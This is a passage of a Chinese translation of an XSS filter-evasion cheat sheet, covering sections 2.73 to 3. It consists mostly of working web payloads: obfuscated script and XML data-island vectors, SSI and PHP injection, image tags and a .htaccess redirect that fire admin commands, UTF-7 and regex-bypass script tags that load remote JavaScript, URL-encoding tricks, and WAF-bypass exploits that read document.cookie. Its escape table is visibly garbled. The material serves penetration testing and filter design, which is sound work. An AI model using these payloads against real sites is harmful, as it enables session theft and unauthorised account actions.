2.73. 在FLASH中使用ActionScript混淆XSS攻擊向量
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
2.74. CDATA混淆的XML資料島
這個XSS攻擊只在IE和使用IE渲染模式的Netscape 8.1下有效-攻擊向量由Sec Consult在審計Yahoo時發現
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
2.75. 使用XML資料島生成含內嵌JavaScript的本地XML檔案
這和上面是一樣的但是將來源替換為了包含跨站指令碼攻擊向量的本地XML檔案(必須在同一伺服器上):
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
2.76. XML中使用HTML+TIME
這是Grey Magic攻擊Hotmail和Yahoo的方法。這隻在IE和IE渲染模式下的Netscape8.1有效並且記得需要在HTML域的BODY標籤中間才有效:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
2.77. 使用一些字元繞過".js"過濾
你可以將你的JavaScript檔案重新命名為影象來作為XSS攻擊向量:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
2.78. SSI(服務端指令碼包含)
這需要在伺服器端允許SSI來使用XSS攻擊向量。似乎不用提示這點,因為如果你可以在伺服器端執行指令那一定是有更嚴重的問題存在:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
2.79. PHP
需要伺服器端安裝了PHP來使用XSS攻擊向量。同樣,如果你可以遠端執行任意指令碼,那會有更加嚴重的問題:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
2.80. 嵌入命令的IMAGE
當頁面受密碼保護並且這個密碼保護同樣適用於相同域的不同頁面時有效,這可以用來進行刪除使用者,增加使用者(如果訪問頁面的是管理員的話),將密碼傳送到任意地方等等。。。這是一個較少使用當時更有價值的XSS攻擊向量:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
2.80.1. 嵌入命令的IMAGE II
這更加可怕因為這不包含任何可疑標識,除了它不在你自己的域名上。這個攻擊向量使用一個302或304(其他的也有效)來重定向圖片到指定命令。所以一個普通的<IMG SRC="httx://badguy.com/a.jpg">對於訪問圖片連結的使用者來說也有可能是一個攻擊向量。下面是利用.htaccess(Apache)配置檔案來實現攻擊向量。(感謝Timo提供這部分。):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
2.81. Cookie篡改
儘管公認不太實用,但是還是可以發現一些允許使用META標籤的情況下可用它來覆寫cookie。另外的例子是當用戶訪問網站頁面時,一些網站讀取並顯示儲存在cookie中的使用者名稱,而不是資料庫中。當這兩種場景結合時,你可以修改受害者的cookie以便將JavaScript注入到其頁面中(你可以使用這個讓使用者登出或改變他們的使用者狀態,甚至可以讓他們以你的賬戶登入):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
2.82. UTF-7編碼
如果存在XSS的頁面沒有提供頁面編碼頭部,或者使用了任何設定為使用UTF-7編碼的瀏覽器,就可以使用下列方式進行攻擊(感謝Roman Ivanov提供)。這在任何不改變編碼型別的現代瀏覽器上是無效的,這也是為什麼標記為完全不支援的原因。Watchfire在Google的自定義404指令碼中發現這個問題:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
2.83. 利用HTML引號包含的XSS
這在IE中測試通過,但還得視情況而定。它是為了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPT SRC..."形式的正則過濾即"/<script[^>]+src/i":
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
這是為了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPTSRC..."形式的正則過濾即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(這很重要,因為在實際環境中出現過這種正則過濾):
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
另一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
又一個繞過正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。儘管不想提及防禦方法,但如果你想允許<SCRIPT>標籤但不載入遠端指令碼,針對這種XSS只能使用狀態機去防禦(當然如果允許<SCRIPT>標籤的話,還有其他方法繞過):
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
最後一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下無效):
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
這是一個XSS樣例,用來繞過那些不會檢查引號配對,而是發現任何引號就立即結束引數字串的正則表示式:
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
這個XSS很讓人擔心,因為如果不過濾所有活動內容幾乎不可能防止此攻擊:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
2.84. URL字元繞過
假定"http://www.google.com/"是不被允許的:
2.84.1. IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>
2.84.2. URL編碼
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
2.84.3. 雙位元組編碼
(注意:還有另一種雙位元組編碼):
<A HREF="http://1113982867/">XSS</A>
2.84.4. 十六進位制編碼
每個數字的允許的範圍大概是240位字元,就如你在第二位上看到的,並且由於十六進位制是在0到F之間,所以開頭的0可以省略:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
2.84.5. 八進位制編碼
又一次允許填充,儘管你必須保證每類在4位字元以上-例如A類,B類等等:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
2.84.6. 混合編碼
讓我們混合基本編碼並在其中插入一些TAB和換行,雖然不知道瀏覽器為什麼允許這樣做。TAB和換行只有被引號包含時才有效:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
2.84.7. 協議解析繞過
(// 替代http://可以節約很多位元組).當輸入空間有限時很有用(少兩個字元可能解決大問題) 而且可以輕鬆繞過類似"(ht|f)tp(s)?://"的正則過濾(感謝Ozh提供這部分).你也可以將"//"換成"\\"。你需要保證斜槓在正確的位置,否則可能被當成相對路徑URL:
<A HREF="//www.google.com/">XSS</A>
2.84.8. Google的"feeling lucky"功能1
Firefox使用Google的"feeling lucky"功能根據使用者輸入的任何關鍵詞來將使用者重定向。如果你存在漏洞的頁面在某些隨機關鍵詞上搜索引擎排名是第一的,你就可以利用這一特性來攻擊FireFox使用者。這使用了Firefox的"keyword:"協議。你可以像下面一樣使用多個關鍵詞"keyword:XSS+RSnake"。這在Firefox2.0後不再有效.
<A HREF="//google">XSS</A>
2.84.9. Google的"feeling lucky"功能2
這使用了一個僅在FireFox上有效的小技巧,因為它實現了"feelinglucky"功能。不像下面一個例子,這個在Opera上無效因為Opera會認為只是一個老式的HTTP基礎認證釣魚攻擊,但它並不是。它只是一個畸形的URL。如果你點選了對話方塊的確定,它就可以生效。但是在Opera上會是一個錯誤對話方塊,所以認為其不被Opera所支援,同樣在Firefox2.0後不再有效。
<A HREF="http://[email protected]">XSS</A>
2.84.10. Google的"feeling lucky"功能3
這是一個畸形的URL只在FireFox和Opera下有效,因為它們實現了"feeling lucky"功能。像上面的例子一樣,它要求你的攻擊頁面在Google上特定關鍵詞排名第一(在這個示例裡關鍵詞是"google")
<A HREF="http://google:ha.ckers.org">XSS</A>
2.84.11. 移除別名
當結合上面的URL,移除"www."會節約4個位元組,總共為正確設定的伺服器節省9位元組:
<A HREF="http://google.com/">XSS</A>
2.84.12. 絕對DNS名稱後額外的點
<A HREF="http://www.google.com./">XSS</A>
2.84.13. JavaScriptlink location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
2.84.14. 內容替換作為攻擊向量
假設"http://www.google.com/"會自動替換為空。我實際使用過類似的攻擊向量即通過使用轉換過濾器本身(示例如下)來幫助構建攻擊向量以對抗現實世界的XSS過濾器:
<A HREF="http://www.google.com/ogle.com/">XSS</A>
2.85. 字元轉義表
下面是HTML和JavaScript中字元“<”的所有可能組合。其中大部分不會被渲染出來,但其中許多可以在某些情況下呈現出來。:
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
3.繞過WAF的方法
通用問題
• 儲存型XSS
如果攻擊者已經讓XSS繞過過濾器,WAF無法阻止攻擊透過。
•基於JavaScript的反射型XSS
示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
利用: /?xss=500); alert(document.cookie);//
•基於DOM的XSS
示例: <script> ... eval($_GET[xss]); ... </script>
利用: /?xss=document.cookie